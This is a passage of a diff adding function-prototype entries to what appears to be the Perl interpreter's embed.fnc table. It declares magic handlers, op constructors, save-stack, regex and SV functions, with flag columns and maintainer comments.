+p |int |magic_getsig |NN SV* sv|NN MAGIC* mg
+p |int |magic_getsubstr|NN SV* sv|NN MAGIC* mg
+p |int |magic_gettaint |NN SV* sv|NN MAGIC* mg
+p |int |magic_getuvar |NN SV* sv|NN MAGIC* mg
+p |int |magic_getvec |NN SV* sv|NN MAGIC* mg
+p |int |magic_nextpack |NN SV *sv|NN MAGIC *mg|NN SV *key
+p |U32 |magic_regdata_cnt|NN SV* sv|NN MAGIC* mg
+p |int |magic_regdatum_get|NN SV* sv|NN MAGIC* mg
+:removing noreturn to silence a warning for this function resulted in no
+:change to the interpreter DLL image under VS 2003 -O1 -GL 32 bits only because
+:this is used in a magic vtable, do not use this on conventionally called funcs
+#ifdef _MSC_VER
+p |int |magic_regdatum_set|NN SV* sv|NN MAGIC* mg
+#else
+pr |int |magic_regdatum_set|NN SV* sv|NN MAGIC* mg
+#endif
+p |int |magic_set |NN SV* sv|NN MAGIC* mg
+p |int |magic_setarylen|NN SV* sv|NN MAGIC* mg
+p |int |magic_cleararylen_p|NN SV* sv|NN MAGIC* mg
+p |int |magic_freearylen_p|NN SV* sv|NN MAGIC* mg
+p |int |magic_setdbline|NN SV* sv|NN MAGIC* mg
+p |int |magic_setdebugvar|NN SV* sv|NN MAGIC* mg
+p |int |magic_setdefelem|NN SV* sv|NN MAGIC* mg
+p |int |magic_setenv |NN SV* sv|NN MAGIC* mg
+dp |int |magic_sethint |NN SV* sv|NN MAGIC* mg
+p |int |magic_setisa |NN SV* sv|NN MAGIC* mg
+p |int |magic_setlvref |NN SV* sv|NN MAGIC* mg
+p |int |magic_setmglob |NN SV* sv|NN MAGIC* mg
+p |int |magic_setnkeys |NN SV* sv|NN MAGIC* mg
+p |int |magic_setpack |NN SV* sv|NN MAGIC* mg
+p |int |magic_setpos |NN SV* sv|NN MAGIC* mg
+p |int |magic_setregexp|NN SV* sv|NN MAGIC* mg
+p |int |magic_setsig |NULLOK SV* sv|NN MAGIC* mg
+p |int |magic_setsubstr|NN SV* sv|NN MAGIC* mg
+p |int |magic_settaint |NN SV* sv|NN MAGIC* mg
+p |int |magic_setuvar |NN SV* sv|NN MAGIC* mg
+p |int |magic_setvec |NN SV* sv|NN MAGIC* mg
+p |int |magic_setutf8 |NN SV* sv|NN MAGIC* mg
+p |int |magic_set_all_env|NN SV* sv|NN MAGIC* mg
+p |U32 |magic_sizepack |NN SV* sv|NN MAGIC* mg
+p |int |magic_wipepack |NN SV* sv|NN MAGIC* mg
+pod |SV* |magic_methcall |NN SV *sv|NN const MAGIC *mg \
+ |NN SV *meth|U32 flags \
+ |U32 argc|...
+Ap |I32 * |markstack_grow
+#if defined(USE_LOCALE_COLLATE)
+p |int |magic_setcollxfrm|NN SV* sv|NN MAGIC* mg
+: Defined in locale.c, used only in sv.c
+p |char* |mem_collxfrm |NN const char* s|STRLEN len|NN STRLEN* xlen
+#endif
+Afpd |SV* |mess |NN const char* pat|...
+Apd |SV* |mess_sv |NN SV* basemsg|bool consume
+Apd |SV* |vmess |NN const char* pat|NULLOK va_list* args
+: FIXME - either make it public, or stop exporting it. (Data::Alias uses this)
+: Used in gv.c, op.c, toke.c
+EXp |void |qerror |NN SV* err
+Apd |void |sortsv |NULLOK SV** array|size_t num_elts|NN SVCOMPARE_t cmp
+Apd |void |sortsv_flags |NULLOK SV** array|size_t num_elts|NN SVCOMPARE_t cmp|U32 flags
+Apd |int |mg_clear |NN SV* sv
+Apd |int |mg_copy |NN SV *sv|NN SV *nsv|NULLOK const char *key \
+ |I32 klen
+: Defined in mg.c, used only in scope.c
+pd |void |mg_localize |NN SV* sv|NN SV* nsv|bool setmagic
+ApdRn |MAGIC* |mg_find |NULLOK const SV* sv|int type
+ApdRn |MAGIC* |mg_findext |NULLOK const SV* sv|int type|NULLOK const MGVTBL *vtbl
+: exported for re.pm
+EXpR |MAGIC* |mg_find_mglob |NN SV* sv
+Apd |int |mg_free |NN SV* sv
+Apd |void |mg_free_type |NN SV* sv|int how
+Apd |int |mg_get |NN SV* sv
+ApdD |U32 |mg_length |NN SV* sv
+Apdn |void |mg_magical |NN SV* sv
+Apd |int |mg_set |NN SV* sv
+Ap |I32 |mg_size |NN SV* sv
+Apn |void |mini_mktime |NN struct tm *ptm
+AMmd |OP* |op_lvalue |NULLOK OP* o|I32 type
+poX |OP* |op_lvalue_flags|NULLOK OP* o|I32 type|U32 flags
+p |void |finalize_optree |NN OP* o
+#if defined(PERL_IN_OP_C)
+s |void |finalize_op |NN OP* o
+s |void |move_proto_attr|NN OP **proto|NN OP **attrs|NN const GV *name
+#endif
+: Used in op.c and pp_sys.c
+p |int |mode_from_discipline|NULLOK const char* s|STRLEN len
+Ap |const char* |moreswitches |NN const char* s
+Ap |NV |my_atof |NN const char *s
+#if !defined(HAS_MEMCPY) || (!defined(HAS_MEMMOVE) && !defined(HAS_SAFE_MEMCPY))
+Anp |void* |my_bcopy |NN const void* vfrom|NN void* vto|size_t len
+#endif
+#if !defined(HAS_BZERO) && !defined(HAS_MEMSET)
+Anp |void* |my_bzero |NN void* vloc|size_t len
+#endif
+Apr |void |my_exit |U32 status
+Apr |void |my_failure_exit
+Ap |I32 |my_fflush_all
+Anp |Pid_t |my_fork
+Anp |void |atfork_lock
+Anp |void |atfork_unlock
+Apmb |I32 |my_lstat
+pX |I32 |my_lstat_flags |NULLOK const U32 flags
+#if !defined(HAS_MEMCMP) || !defined(HAS_SANE_MEMCMP)
+AnpP |int |my_memcmp |NN const void* vs1|NN const void* vs2|size_t len
+#endif
+#if !defined(HAS_MEMSET)
+Anp |void* |my_memset |NN void* vloc|int ch|size_t len
+#endif
+#if !defined(PERL_IMPLICIT_SYS)
+Ap |I32 |my_pclose |NULLOK PerlIO* ptr
+Ap |PerlIO*|my_popen |NN const char* cmd|NN const char* mode
+#endif
+Ap |PerlIO*|my_popen_list |NN const char* mode|int n|NN SV ** args
+Ap |void |my_setenv |NULLOK const char* nam|NULLOK const char* val
+Apmb |I32 |my_stat
+pX |I32 |my_stat_flags |NULLOK const U32 flags
+Afp |char * |my_strftime |NN const char *fmt|int sec|int min|int hour|int mday|int mon|int year|int wday|int yday|int isdst
+: Used in pp_ctl.c
+p |void |my_unexec
+ADMnoPR |UV |NATIVE_TO_NEED |const UV enc|const UV ch
+ADMnoPR |UV |ASCII_TO_NEED |const UV enc|const UV ch
+Apa |OP* |newANONLIST |NULLOK OP* o
+Apa |OP* |newANONHASH |NULLOK OP* o
+Ap |OP* |newANONSUB |I32 floor|NULLOK OP* proto|NULLOK OP* block
+Apda |OP* |newASSIGNOP |I32 flags|NULLOK OP* left|I32 optype|NULLOK OP* right
+Apda |OP* |newCONDOP |I32 flags|NN OP* first|NULLOK OP* trueop|NULLOK OP* falseop
+Apd |CV* |newCONSTSUB |NULLOK HV* stash|NULLOK const char* name|NULLOK SV* sv
+Apd |CV* |newCONSTSUB_flags|NULLOK HV* stash \
+ |NULLOK const char* name|STRLEN len \
+ |U32 flags|NULLOK SV* sv
+Ap |void |newFORM |I32 floor|NULLOK OP* o|NULLOK OP* block
+Apda |OP* |newFOROP |I32 flags|NULLOK OP* sv|NN OP* expr|NULLOK OP* block|NULLOK OP* cont
+Apda |OP* |newGIVENOP |NN OP* cond|NN OP* block|PADOFFSET defsv_off
+Apda |OP* |newLOGOP |I32 optype|I32 flags|NN OP *first|NN OP *other
+Apda |OP* |newLOOPEX |I32 type|NN OP* label
+Apda |OP* |newLOOPOP |I32 flags|I32 debuggable|NULLOK OP* expr|NULLOK OP* block
+Apda |OP* |newNULLLIST
+Apda |OP* |newOP |I32 optype|I32 flags
+Ap |void |newPROG |NN OP* o
+Apda |OP* |newRANGE |I32 flags|NN OP* left|NN OP* right
+Apda |OP* |newSLICEOP |I32 flags|NULLOK OP* subscript|NULLOK OP* listop
+Apda |OP* |newSTATEOP |I32 flags|NULLOK char* label|NULLOK OP* o
+Abm |CV* |newSUB |I32 floor|NULLOK OP* o|NULLOK OP* proto \
+ |NULLOK OP* block
+p |CV * |newXS_len_flags|NULLOK const char *name|STRLEN len \
+ |NN XSUBADDR_t subaddr\
+ |NULLOK const char *const filename \
+ |NULLOK const char *const proto \
+ |NULLOK SV **const_svp|U32 flags
+pX |CV * |newXS_deffile |NN const char *name|NN XSUBADDR_t subaddr
+ApM |CV * |newXS_flags |NULLOK const char *name|NN XSUBADDR_t subaddr\
+ |NN const char *const filename \
+ |NULLOK const char *const proto|U32 flags
+Apd |CV* |newXS |NULLOK const char *name|NN XSUBADDR_t subaddr\
+ |NN const char *filename
+AmdbR |AV* |newAV
+Apa |OP* |newAVREF |NN OP* o
+Apda |OP* |newBINOP |I32 type|I32 flags|NULLOK OP* first|NULLOK OP* last
+Apa |OP* |newCVREF |I32 flags|NULLOK OP* o
+Apda |OP* |newGVOP |I32 type|I32 flags|NN GV* gv
+Am |GV* |newGVgen |NN const char* pack
+Apa |GV* |newGVgen_flags |NN const char* pack|U32 flags
+Apa |OP* |newGVREF |I32 type|NULLOK OP* o
+ApaR |OP* |newHVREF |NN OP* o
+AmdbR |HV* |newHV
+ApaR |HV* |newHVhv |NULLOK HV *hv
+Apabm |IO* |newIO
+Apda |OP* |newLISTOP |I32 type|I32 flags|NULLOK OP* first|NULLOK OP* last
+AMpdan |PADNAME *|newPADNAMEouter|NN PADNAME *outer
+AMpdan |PADNAME *|newPADNAMEpvn|NN const char *s|STRLEN len
+AMpdan |PADNAMELIST *|newPADNAMELIST|size_t max
+#ifdef USE_ITHREADS
+Apda |OP* |newPADOP |I32 type|I32 flags|NN SV* sv
+#endif
+Apda |OP* |newPMOP |I32 type|I32 flags
+Apda |OP* |newPVOP |I32 type|I32 flags|NULLOK char* pv
+Apa |SV* |newRV |NN SV *const sv
+Apda |SV* |newRV_noinc |NN SV *const tmpRef
+Apda |SV* |newSV |const STRLEN len
+Apa |OP* |newSVREF |NN OP* o
+Apda |OP* |newSVOP |I32 type|I32 flags|NN SV* sv
+ApdR |OP* |newDEFSVOP
+pa |SV* |newSVavdefelem |NN AV *av|SSize_t ix|bool extendible
+Apda |SV* |newSViv |const IV i
+Apda |SV* |newSVuv |const UV u
+Apda |SV* |newSVnv |const NV n
+Apda |SV* |newSVpv |NULLOK const char *const s|const STRLEN len
+Apda |SV* |newSVpvn |NULLOK const char *const s|const STRLEN len
+Apda |SV* |newSVpvn_flags |NULLOK const char *const s|const STRLEN len|const U32 flags
+Apda |SV* |newSVhek |NULLOK const HEK *const hek
+Apda |SV* |newSVpvn_share |NULLOK const char* s|I32 len|U32 hash
+Apda |SV* |newSVpv_share |NULLOK const char* s|U32 hash
+Afpda |SV* |newSVpvf |NN const char *const pat|...
+Apa |SV* |vnewSVpvf |NN const char *const pat|NULLOK va_list *const args
+Apd |SV* |newSVrv |NN SV *const rv|NULLOK const char *const classname
+Apda |SV* |newSVsv |NULLOK SV *const old
+Apda |SV* |newSV_type |const svtype type
+Apda |OP* |newUNOP |I32 type|I32 flags|NULLOK OP* first
+Apda |OP* |newUNOP_AUX |I32 type|I32 flags|NULLOK OP* first \
+ |NULLOK UNOP_AUX_item *aux
+Apda |OP* |newWHENOP |NULLOK OP* cond|NN OP* block
+Apda |OP* |newWHILEOP |I32 flags|I32 debuggable|NULLOK LOOP* loop \
+ |NULLOK OP* expr|NULLOK OP* block|NULLOK OP* cont \
+ |I32 has_my
+Apda |OP* |newMETHOP |I32 type|I32 flags|NN OP* dynamic_meth
+Apda |OP* |newMETHOP_named|I32 type|I32 flags|NN SV* const_meth
+Apd |CV* |rv2cv_op_cv |NN OP *cvop|U32 flags
+Apd |OP* |ck_entersub_args_list|NN OP *entersubop
+Apd |OP* |ck_entersub_args_proto|NN OP *entersubop|NN GV *namegv|NN SV *protosv
+Apd |OP* |ck_entersub_args_proto_or_list|NN OP *entersubop|NN GV *namegv|NN SV *protosv
+po |OP* |ck_entersub_args_core|NN OP *entersubop|NN GV *namegv \
+ |NN SV *protosv
+Apd |void |cv_get_call_checker|NN CV *cv|NN Perl_call_checker *ckfun_p|NN SV **ckobj_p
+Apd |void |cv_set_call_checker|NN CV *cv|NN Perl_call_checker ckfun|NN SV *ckobj
+Apd |void |cv_set_call_checker_flags|NN CV *cv \
+ |NN Perl_call_checker ckfun \
+ |NN SV *ckobj|U32 flags
+Apd |void |wrap_op_checker|Optype opcode|NN Perl_check_t new_checker|NN Perl_check_t *old_checker_p
+Apa |PERL_SI*|new_stackinfo|I32 stitems|I32 cxitems
+Ap |char* |scan_vstring |NN const char *s|NN const char *const e \
+ |NN SV *sv
+Apd |const char* |scan_version |NN const char *s|NN SV *rv|bool qv
+Apd |const char* |prescan_version |NN const char *s\
+ |bool strict|NULLOK const char** errstr|NULLOK bool *sqv\
+ |NULLOK int *ssaw_decimal|NULLOK int *swidth|NULLOK bool *salpha
+Apd |SV* |new_version |NN SV *ver
+Apd |SV* |upg_version |NN SV *ver|bool qv
+Apd |SV* |vverify |NN SV *vs
+Apd |SV* |vnumify |NN SV *vs
+Apd |SV* |vnormal |NN SV *vs
+Apd |SV* |vstringify |NN SV *vs
+Apd |int |vcmp |NN SV *lhv|NN SV *rhv
+: Used in pp_hot.c and pp_sys.c
+p |PerlIO*|nextargv |NN GV* gv|bool nomagicopen
+AnpP |char* |ninstr |NN const char* big|NN const char* bigend \
+ |NN const char* little|NN const char* lend
+Apd |void |op_free |NULLOK OP* arg
+Mp |OP* |op_unscope |NULLOK OP* o
+#ifdef PERL_CORE
+p |void |opslab_free |NN OPSLAB *slab
+p |void |opslab_free_nopad|NN OPSLAB *slab
+p |void |opslab_force_free|NN OPSLAB *slab
+#endif
+: Used in perly.y
+p |void |package |NN OP* o
+: Used in perly.y
+p |void |package_version|NN OP* v
+: Used in toke.c and perly.y
+p |PADOFFSET|allocmy |NN const char *const name|const STRLEN len\
+ |const U32 flags
+#ifdef USE_ITHREADS
+AMp |PADOFFSET|alloccopstash|NN HV *hv
+#endif
+: Used in perly.y
+pR |OP* |oopsAV |NN OP* o
+: Used in perly.y
+pR |OP* |oopsHV |NN OP* o
+
+: peephole optimiser
+p |void |peep |NULLOK OP* o
+p |void |rpeep |NULLOK OP* o
+: Defined in doio.c, used only in pp_hot.c
+dopM |PerlIO*|start_glob |NN SV *tmpglob|NN IO *io
+
+Ap |void |reentrant_size
+Ap |void |reentrant_init
+Ap |void |reentrant_free
+Anp |void* |reentrant_retry|NN const char *f|...
+
+: "Very" special - can't use the O flag for this one:
+: (The rename from perl_atexit to Perl_call_atexit was in 864dbfa3ca8032ef)
+Ap |void |call_atexit |ATEXIT_t fn|NULLOK void *ptr
+ApdO |I32 |call_argv |NN const char* sub_name|I32 flags|NN char** argv
+ApdO |I32 |call_method |NN const char* methname|I32 flags
+ApdO |I32 |call_pv |NN const char* sub_name|I32 flags
+ApdO |I32 |call_sv |NN SV* sv|VOL I32 flags
+Ap |void |despatch_signals
+Ap |OP * |doref |NN OP *o|I32 type|bool set_op_ref
+ApdO |SV* |eval_pv |NN const char* p|I32 croak_on_error
+ApdO |I32 |eval_sv |NN SV* sv|I32 flags
+ApdO |SV* |get_sv |NN const char *name|I32 flags
+ApdO |AV* |get_av |NN const char *name|I32 flags
+ApdO |HV* |get_hv |NN const char *name|I32 flags
+ApdO |CV* |get_cv |NN const char* name|I32 flags
+Apd |CV* |get_cvn_flags |NN const char* name|STRLEN len|I32 flags
+#ifdef WIN32
+ApPM |char* |my_setlocale |int category|NULLOK const char* locale
+#else
+AmPM |char* |my_setlocale |int category|NULLOK const char* locale
+#endif
+ApOM |int |init_i18nl10n |int printwarn
+ApOM |int |init_i18nl14n |int printwarn
+ApM |char* |my_strerror |const int errnum
+ApOM |void |new_collate |NULLOK const char* newcoll
+ApOM |void |new_ctype |NN const char* newctype
+EXpMn |void |_warn_problematic_locale
+ApOM |void |new_numeric |NULLOK const char* newcoll
+Ap |void |set_numeric_local
+Ap |void |set_numeric_radix
+Ap |void |set_numeric_standard
+ApM |bool |_is_in_locale_category|const bool compiling|const int category
+Apd |void |sync_locale
+ApdO |void |require_pv |NN const char* pv
+Apd |void |pack_cat |NN SV *cat|NN const char *pat|NN const char *patend \
+ |NN SV **beglist|NN SV **endlist|NN SV ***next_in_list|U32 flags
+Apd |void |packlist |NN SV *cat|NN const char *pat|NN const char *patend|NN SV **beglist|NN SV **endlist
+#if defined(PERL_USES_PL_PIDSTATUS) && defined(PERL_IN_UTIL_C)
+s |void |pidgone |Pid_t pid|int status
+#endif
+: Used in perly.y
+p |OP* |pmruntime |NN OP *o|NN OP *expr|NULLOK OP *repl \
+ |bool isreg|I32 floor
+#if defined(PERL_IN_OP_C)
+s |OP* |pmtrans |NN OP* o|NN OP* expr|NN OP* repl
+#endif
+Ap |void |pop_scope
+Ap |void |push_scope
+Amb |OP* |ref |NULLOK OP* o|I32 type
+#if defined(PERL_IN_OP_C)
+s |OP* |refkids |NULLOK OP* o|I32 type
+#endif
+Ap |void |regdump |NN const regexp* r
+ApM |SV* |regclass_swash |NULLOK const regexp *prog \
+ |NN const struct regnode *node|bool doinit \
+ |NULLOK SV **listsvp|NULLOK SV **altsvp
+#if defined(PERL_IN_REGCOMP_C) || defined(PERL_IN_PERL_C) || defined(PERL_IN_UTF8_C)
+AMpR |SV* |_new_invlist_C_array|NN const UV* const list
+EXMp |bool |_invlistEQ |NN SV* const a|NN SV* const b|const bool complement_b
+#endif
+Ap |I32 |pregexec |NN REGEXP * const prog|NN char* stringarg \
+ |NN char* strend|NN char* strbeg \
+ |SSize_t minend |NN SV* screamer|U32 nosave
+Ap |void |pregfree |NULLOK REGEXP* r
+Ap |void |pregfree2 |NN REGEXP *rx
+: FIXME - is anything in re using this now?
+EXp |REGEXP*|reg_temp_copy |NULLOK REGEXP* ret_x|NN REGEXP* rx
+Ap |void |regfree_internal|NN REGEXP *const rx
+#if defined(USE_ITHREADS)
+Ap |void* |regdupe_internal|NN REGEXP * const r|NN CLONE_PARAMS* param
+#endif
+EXp |regexp_engine const *|current_re_engine
+Ap |REGEXP*|pregcomp |NN SV * const pattern|const U32 flags
+p |REGEXP*|re_op_compile |NULLOK SV ** const patternp \
+ |int pat_count|NULLOK OP *expr \
+ |NN const regexp_engine* eng \
+ |NULLOK REGEXP *old_re \
+ |NULLOK bool *is_bare_re \
+ |U32 rx_flags|U32 pm_flags
+Ap |REGEXP*|re_compile |NN SV * const pattern|U32 orig_rx_flags
+Ap |char* |re_intuit_start|NN REGEXP * const rx \
+ |NULLOK SV* sv \
+ |NN const char* const strbeg \
+ |NN char* strpos \
+ |NN char* strend \
+ |const U32 flags \
+ |NULLOK re_scream_pos_data *data
+Ap |SV* |re_intuit_string|NN REGEXP *const r
+Ap |I32 |regexec_flags |NN REGEXP *const rx|NN char *stringarg \
+ |NN char *strend|NN char *strbeg \
+ |SSize_t minend|NN SV *sv \
+ |NULLOK void *data|U32 flags
+ApR |regnode*|regnext |NULLOK regnode* p
+EXp |SV*|reg_named_buff |NN REGEXP * const rx|NULLOK SV * const key \
+ |NULLOK SV * const value|const U32 flags
+EXp |SV*|reg_named_buff_iter |NN REGEXP * const rx|NULLOK const SV * const lastkey \
+ |const U32 flags
+Ap |SV*|reg_named_buff_fetch |NN REGEXP * const rx|NN SV * const namesv|const U32 flags
+Ap |bool|reg_named_buff_exists |NN REGEXP * const rx|NN SV * const key|const U32 flags
+Ap |SV*|reg_named_buff_firstkey |NN REGEXP * const rx|const U32 flags
+Ap |SV*|reg_named_buff_nextkey |NN REGEXP * const rx|const U32 flags
+Ap |SV*|reg_named_buff_scalar |NN REGEXP * const rx|const U32 flags
+Ap |SV*|reg_named_buff_all |NN REGEXP * const rx|const U32 flags
+
+: FIXME - is anything in re using this now?
+EXp |void|reg_numbered_buff_fetch|NN REGEXP * const rx|const I32 paren|NULLOK SV * const sv
+: FIXME - is anything in re using this now?
+EXp |void|reg_numbered_buff_store|NN REGEXP * const rx|const I32 paren|NULLOK SV const * const value
+: FIXME - is anything in re using this now?
+EXp |I32|reg_numbered_buff_length|NN REGEXP * const rx|NN const SV * const sv|const I32 paren
+
+: FIXME - is anything in re using this now?
+EXp |SV*|reg_qr_package|NN REGEXP * const rx
+
+Anp |void |repeatcpy |NN char* to|NN const char* from|I32 len|IV count
+AnpP |char* |rninstr |NN const char* big|NN const char* bigend \
+ |NN const char* little|NN const char* lend
+Ap |Sighandler_t|rsignal |int i|Sighandler_t t
+: Used in pp_sys.c
+p |int |rsignal_restore|int i|NULLOK Sigsave_t* t
+: Used in pp_sys.c
+p |int |rsignal_save |int i|Sighandler_t t1|NN Sigsave_t* save
+Ap |Sighandler_t|rsignal_state|int i
+#if defined(PERL_IN_PP_CTL_C)
+s |void |rxres_free |NN void** rsp
+s |void |rxres_restore |NN void **rsp|NN REGEXP *rx
+#endif
+: Used in pp_hot.c
+p |void |rxres_save |NN void **rsp|NN REGEXP *rx
+#if !defined(HAS_RENAME)
+: Used in pp_sys.c
+p |I32 |same_dirent |NN const char* a|NN const char* b
+#endif
+Apda |char* |savepv |NULLOK const char* pv
+Apda |char* |savepvn |NULLOK const char* pv|I32 len
+Apda |char* |savesharedpv |NULLOK const char* pv
+
+: NULLOK only to suppress a compiler warning
+Apda |char* |savesharedpvn |NULLOK const char *const pv \
+ |const STRLEN len
+Apda |char* |savesharedsvpv |NN SV *sv
+Apda |char* |savesvpv |NN SV* sv
+Ap |void |savestack_grow
+Ap |void |savestack_grow_cnt |I32 need
+Amp |void |save_aelem |NN AV* av|SSize_t idx|NN SV **sptr
+Ap |void |save_aelem_flags|NN AV* av|SSize_t idx|NN SV **sptr \
+ |const U32 flags
+Ap |I32 |save_alloc |I32 size|I32 pad
+Ap |void |save_aptr |NN AV** aptr
+Ap |AV* |save_ary |NN GV* gv
+Ap |void |save_bool |NN bool* boolp
+Ap |void |save_clearsv |NN SV** svp
+Ap |void |save_delete |NN HV *hv|NN char *key|I32 klen
+Ap |void |save_hdelete |NN HV *hv|NN SV *keysv
+Ap |void |save_adelete |NN AV *av|SSize_t key
+Ap |void |save_destructor|DESTRUCTORFUNC_NOCONTEXT_t f|NN void* p
+Ap |void |save_destructor_x|DESTRUCTORFUNC_t f|NULLOK void* p
+Apmb |void |save_freesv |NULLOK SV* sv
+: Used in SAVEFREOP(), used in op.c, pp_ctl.c
+Apmb |void |save_freeop |NULLOK OP* o
+Apmb |void |save_freepv |NULLOK char* pv
+Ap |void |save_generic_svref|NN SV** sptr
+Ap |void |save_generic_pvref|NN char** str
+Ap |void |save_shared_pvref|NN char** str
+Adp |void |save_gp |NN GV* gv|I32 empty
+Ap |HV* |save_hash |NN GV* gv
+Ap |void |save_hints
+Amp |void |save_helem |NN HV *hv|NN SV *key|NN SV **sptr
+Ap |void |save_helem_flags|NN HV *hv|NN SV *key|NN SV **sptr|const U32 flags
+Ap |void |save_hptr |NN HV** hptr
+Ap |void |save_I16 |NN I16* intp
+Ap |void |save_I32 |NN I32* intp
+Ap |void |save_I8 |NN I8* bytep
+Ap |void |save_int |NN int* intp
+Ap |void |save_item |NN SV* item
+Ap |void |save_iv |NN IV *ivp
+Ap |void |save_list |NN SV** sarg|I32 maxsarg
+Ap |void |save_long |NN long* longp
+Apmb |void |save_mortalizesv|NN SV* sv
+Ap |void |save_nogv |NN GV* gv
+: Used in SAVEFREOP(), used in gv.c, op.c, perl.c, pp_ctl.c, pp_sort.c
+Apmb |void |save_op
+Ap |SV* |save_scalar |NN GV* gv
+Ap |void |save_pptr |NN char** pptr
+Ap |void |save_vptr |NN void *ptr
+Ap |void |save_re_context
+Ap |void |save_padsv_and_mortalize|PADOFFSET off
+Ap |void |save_sptr |NN SV** sptr
+Xp |void |save_strlen |NN STRLEN* ptr
+Ap |SV* |save_svref |NN SV** sptr
+AMpo |void |savetmps
+Ap |void |save_pushptr |NULLOK void *const ptr|const int type
+Ap |void |save_pushi32ptr|const I32 i|NULLOK void *const ptr|const int type
+: Used by SAVESWITCHSTACK() in pp.c
+Ap |void |save_pushptrptr|NULLOK void *const ptr1 \
+ |NULLOK void *const ptr2|const int type
+#if defined(PERL_IN_SCOPE_C)
+s |void |save_pushptri32ptr|NULLOK void *const ptr1|const I32 i \
+ |NULLOK void *const ptr2|const int type
+#endif
+: Used in perly.y
+p |OP* |sawparens |NULLOK OP* o
+Apd |OP* |op_contextualize|NN OP* o|I32 context
+: Used in perly.y
+p |OP* |scalar |NULLOK OP* o
+#if defined(PERL_IN_OP_C)
+s |OP* |scalarkids |NULLOK OP* o
+s |OP* |scalarseq |NULLOK OP* o
+#endif
+: Used in pp_ctl.c
+p |OP* |scalarvoid |NN OP* o
+Apd |NV |scan_bin |NN const char* start|STRLEN len|NN STRLEN* retlen
+Apd |NV |scan_hex |NN const char* start|STRLEN len|NN STRLEN* retlen
+Ap |char* |scan_num |NN const char* s|NN YYSTYPE *lvalp
+Apd |NV |scan_oct |NN const char* start|STRLEN len|NN STRLEN* retlen
+AMpd |OP* |op_scope |NULLOK OP* o
+: Only used by perl.c/miniperl.c, but defined in caretx.c
+px |void |set_caret_X
+Apd |void |setdefout |NN GV* gv
+Ap |HEK* |share_hek |NN const char* str|I32 len|U32 hash
+#if defined(HAS_SIGACTION) && defined(SA_SIGINFO)
+: Used in perl.c
+np |Signal_t |sighandler |int sig|NULLOK siginfo_t *info|NULLOK void *uap
+Anp |Signal_t |csighandler |int sig|NULLOK siginfo_t *info|NULLOK void *uap
+#else
+np |Signal_t |sighandler |int sig
+Anp |Signal_t |csighandler |int sig
+#endif
+Ap |SV** |stack_grow |NN SV** sp|NN SV** p|SSize_t n
+Ap |I32 |start_subparse |I32 is_format|U32 flags
+: Used in pp_ctl.c
+p |void |sub_crush_depth|NN CV* cv
+Amd |bool |sv_2bool |NN SV *const sv
+Apd |bool |sv_2bool_flags |NN SV *sv|I32 flags
+Apd |CV* |sv_2cv |NULLOK SV* sv|NN HV **const st|NN GV **const gvp \
+ |const I32 lref
+Apd |IO* |sv_2io |NN SV *const sv
+#if defined(PERL_IN_SV_C)
+s |bool |glob_2number |NN GV* const gv
+#endif
+Amb |IV |sv_2iv |NN SV *sv
+Apd |IV |sv_2iv_flags |NN SV *const sv|const I32 flags
+Apd |SV* |sv_2mortal |NULLOK SV *const sv
+Apd |NV |sv_2nv_flags |NN SV *const sv|const I32 flags
+: Used in pp.c, pp_hot.c, sv.c
+pMd |SV* |sv_2num |NN SV *const sv
+Amb |char* |sv_2pv |NN SV *sv|NULLOK STRLEN *lp
+Apd |char* |sv_2pv_flags |NN SV *const sv|NULLOK STRLEN *const lp|const I32 flags
+Apd |char* |sv_2pvutf8 |NN SV *sv|NULLOK STRLEN *const lp
+Apd |char* |sv_2pvbyte |NN SV *sv|NULLOK STRLEN *const lp
+Ap |char* |sv_pvn_nomg |NN SV* sv|NULLOK STRLEN* lp
+Amb |UV |sv_2uv |NN SV *sv
+Apd |UV |sv_2uv_flags |NN SV *const sv|const I32 flags
+Apd |IV |sv_iv |NN SV* sv
+Apd |UV |sv_uv |NN SV* sv
+Apd |NV |sv_nv |NN SV* sv
+Apd |char* |sv_pvn |NN SV *sv|NN STRLEN *lp
+Apd |char* |sv_pvutf8n |NN SV *sv|NN STRLEN *lp
+Apd |char* |sv_pvbyten |NN SV *sv|NN STRLEN *lp
+Apd |I32 |sv_true |NULLOK SV *const sv
+#if defined(PERL_IN_SV_C)
+sd |void |sv_add_arena |NN char *const ptr|const U32 size \
+ |const U32 flags
+#endif
+Apdn |void |sv_backoff |NN SV *const sv
+Apd |SV* |sv_bless |NN SV *const sv|NN HV *const stash
+#if defined(PERL_DEBUG_READONLY_COW)
+p |void |sv_buf_to_ro |NN SV *sv
+# if defined(PERL_IN_SV_C)
+s |void |sv_buf_to_rw |NN SV *sv
+# endif
+#endif
+Afpd |void |sv_catpvf |NN SV *const sv|NN const char *const pat|...
+Apd |void |sv_vcatpvf |NN SV *const sv|NN const char *const pat \
+ |NULLOK va_list *const args
+Apd |void |sv_catpv |NN SV *const sv|NULLOK const char* ptr
+Amdb |void |sv_catpvn |NN SV *dsv|NN const char *sstr|STRLEN len
+Amdb |void |sv_catsv |NN SV *dstr|NULLOK SV *sstr
+Apd |void |sv_chop |NN SV *const sv|NULLOK const char *const ptr
+: Used only in perl.c
+pd |I32 |sv_clean_all
+: Used only in perl.c
+pd |void |sv_clean_objs
+Apd |void |sv_clear |NN SV *const orig_sv
+#if defined(PERL_IN_SV_C)
+s |bool |curse |NN SV * const sv|const bool check_refcnt
+#endif
+Aopd |I32 |sv_cmp |NULLOK SV *const sv1|NULLOK SV *const sv2
+Apd |I32 |sv_cmp_flags |NULLOK SV *const sv1|NULLOK SV *const sv2 \
+ |const U32 flags
+Aopd |I32 |sv_cmp_locale |NULLOK SV *const sv1|NULLOK SV *const sv2
+Apd |I32 |sv_cmp_locale_flags |NULLOK SV *const sv1 \
+ |NULLOK SV *const sv2|const U32 flags
+#if defined(USE_LOCALE_COLLATE)
+Amd |char* |sv_collxfrm |NN SV *const sv|NN STRLEN *const nxp
+Apd |char* |sv_collxfrm_flags |NN SV *const sv|NN STRLEN *const nxp|I32 const flags
+#endif
+Apd |int |getcwd_sv |NN SV* sv
+Apd |void |sv_dec |NULLOK SV *const sv
+Apd |void |sv_dec_nomg |NULLOK SV *const sv
+Ap |void |sv_dump |NN SV* sv
+ApdR |bool |sv_derived_from|NN SV* sv|NN const char *const name
+ApdR |bool |sv_derived_from_sv|NN SV* sv|NN SV *namesv|U32 flags
+ApdR |bool |sv_derived_from_pv|NN SV* sv|NN const char *const name|U32 flags
+ApdR |bool |sv_derived_from_pvn|NN SV* sv|NN const char *const name \
+ |const STRLEN len|U32 flags
+ApdR |bool |sv_does |NN SV* sv|NN const char *const name
